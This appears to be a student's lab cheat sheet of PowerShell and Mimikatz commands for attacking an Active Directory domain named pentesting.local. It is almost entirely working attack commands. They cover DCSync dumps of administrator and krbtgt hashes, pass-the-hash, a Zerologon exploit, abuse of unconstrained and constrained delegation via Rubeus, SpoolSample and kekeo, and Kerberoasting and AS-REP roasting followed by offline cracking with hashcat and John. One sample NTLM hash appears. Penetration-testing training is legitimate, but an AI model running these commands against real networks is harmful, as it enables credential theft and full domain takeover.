1
Get-ForestGlobalCatalog
2
Get-DomainUser -Name student1
3

4
# Get the object ACL for the pentesting.local forest
5
Get-ObjectACL "DC=pentesting,DC=local" -ResolveGUIDs
6

7
# Get the object ACL matching ObjectAceType = DS-Replication for the pentesting.local forest
8
Get-ObjectACL "DC=pentesting,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -like 'DS-Replication*')}
9

10
# Get the object ACL matching ObjectAceType = DS-Replication and SecurityIdentifier for my current user =  for the pentesting.local forest
11
Get-ObjectACL "DC=pentesting,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -like 'DS-Replication*') -and ($_.SecurityIdentifier -match 'S-1-5-21-1070240333-336889418-1185445934-1603') }
12

13
# Get the all the ACL in the pentesting.local forest for my current SecurityIdentifier
14
Get-ObjectACL "DC=pentesting,DC=local" -ResolveGUIDs | ? { ($_.SecurityIdentifier -match 'S-1-5-21-1070240333-336889418-1185445934-1603') }
15

16
# dump the commands for administrator
17
import-module invoke-mimikatz
18
invoke-mimikatz -Command '"lsadump::dcsync /user:v.frizzle\administrator"'
19

20
# pass the hash to become the administrator
21
Invoke-Mimikatz -Command '"sekurlsa::pth /user:administrator /domain:... /ntlm:... /run:powershell.exe"'
22

23
# see if we are administrator
24
invoke-command -ComputerName dc.pentesting.local -ScriptBlock{whoami;hostname}
25

26
# enter powershell session for the dc as the administrator
27
Enter-PSSession -ComputerName dc.pentesting.local
28
hostname
29
whoami

1
cd mimikatz-master\x64
2
# See if it is vulnerable
3
lsadump::zerologon /target:dc.pentesting.local /account:dc$
4

5
# Exploit it
6
lsadump::zerologon /target:dc.pentesting.local /account:dc$ /exploit
7

8
# dcsync
9
lsadump::dcsync /dc:dc.pentesting.local /authuser:dc$ /authdomain:exploit.local /authpassword:"" /authntlm /user:krbtgt
10

11
# Pass the hash
12
Invoke-Mimikatz -Command '"sekurlsa::pth /user:student5 /domain: /ntlm: /run:powershell.exe"'

1
powerhsell -ep bypass
2
import-module .\Powervien.ps1
3
Get-domainComputer -uncontrained
4

5
.\Rubeus.exe monitor /interval:1
6
# another PS
7
.\SpoolSample.exe dc.pnte.local studen.pente.local
8
.\Rubeus.exe ptt /ticket:dedede
9
.\Rubeus.exe triage
10
.\Rubeus.exe klist
11

12
import-module .\Invoke-Mimikatz.ps1
13
# then do dcsync attack
14
# pass the hash after getting the ntlm

1
# Enumerate
2
Get-DomainComputer -TrustedToAuth
3

4
# u can find it in msds-allowedtodelegateto
5

6
. .\Invoke-Mimikatz.ps1
7
invoke-mimikatz
8
# STUDENT$ ntlm aa81bb97a48748ad89541137bf78001f
9

10
# ask dc for a tgt for the student server
11
# Download kekeo:
12
https://github.com/gentilkiwi/kekeo/releases
13
kekeo.exe
14
tgt::ask /user:student$ /domain:pentesting.local /rc4:aa81bb97a48748ad89541137bf78001f
15

16
# ask dc for a tgs for the student server
17
tgs::s4u /tgt:TGT_student$@PENTESTING.LOCAL_krbtgt~pentesting.local@PENTESTING.LOCAL.kirbi /user:Administrator@pentesting.local /service:time/ad.pentesting.local|ldap/ad.pentesting.local
18

19
# use the tgs and inject it
20
. ..\..\invoke-mimikatz.ps1
21
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@pentesting.local@PENTESTING.LOCAL_student$@PENTESTING.LOCAL.kirbi"'
22

23
# Dcsync to perform a goldent ticket attack
24
Invoke-Mimikatz -Command '"lsadump::dcsync /user:pentesting\krbtgt"'

1
. .\Invoke-Kerberoast.ps1
2
invoke-kerberoast
3
# if didnt work look for account u have generic write on it
4
.\Powerview.ps1
5
Get-ObjectAcl -SamAcc...
6

7
Get-DomainUser -Identity hadams | selsct serviceprincipalname
8
Set-DomainObject -Identity hadams -Set @{serviceprincipalname='ops/whatever1'}
9
Get-DomainUser -Identity hadams | selsct serviceprincipalname
10

11
. .\Invoke-Kerberoast.ps1
12
invoke-kerberoast
13

14
# break it with hashcat
15
invoke-kerberoast  -OutputFormat Hashcat > hash.txt
16

17
. .\Powerview.ps1
18
Get-DomainUser -SamAccountName hadams
19
Get-DomainComputer

1
# see if the account you disabled appears
2
Get-DomainUser -PreauthNotRequired -Verbose
3
.\ASREPRoast.ps1
4
Inovke-ASREPRoast -Verbose
5
# ---------------------Abuse it---------------
6
# Export hash
7
.\Rubeus.exe asreproast /format:hashcat /outfile:s4vitar.asreproast
8

9
# Using bleeding-jumbo branch of John The Ripper, we can brute-force the hashes offline.
10
./john s4vitar.asreproast --wordlist=rockyou.txt
11
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

1
# see if the account you disabled appears
2
Get-DomainUser -PreauthNotRequired -Verbose
3

4
# If you do not find anything, you can look if you can set the PreauthNotRequired with ACL  GenericAll or GenericWrite
5
# Import Module
6
. .\powerview.ps1
7

8
# Get your SID
9
whoami
10
Get-DomainUser -SamAccountName Student1
11

12
# GenericAll
13
Get-ObjectAcl -SamAccountName * -ResolveGUIDs | ? {($_.ActiveDirectoryRights -match 'GenericAll') -and ($_.SecurityIdentifier -match 'S-1-5-21-1070240333-336889418-1185445934-1603')}
14

15
# GenericWrite
16
Get-ObjectAcl -SamAccountName * -ResolveGUIDs | ? {($_.ActiveDirectoryRights -match 'GenericWrite') -and ($_.SecurityIdentifier -match 'S-1-5-21-1070240333-336889418-1185445934-1603')}
17

18
# Disable the DoesnotRequirePreAuth for a user
19
Set-DomainObject -Identity hadams -XOR @{useraccountcontrol=4194304} –Verbose
20

21

22
# ---------------------Abuse it---------------
23
# Export Hashes
24
.\Rubeus.exe asreproast /format:hashcat /outfile:hadams.asreproast
25

26

27
# crack offline
28
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
29

30

31
# Set it back to normal
32
Set-DomainObject -Identity hadams -XOR @{useraccountcontrol=512} –Verbose
33

34
# Enter-PSSession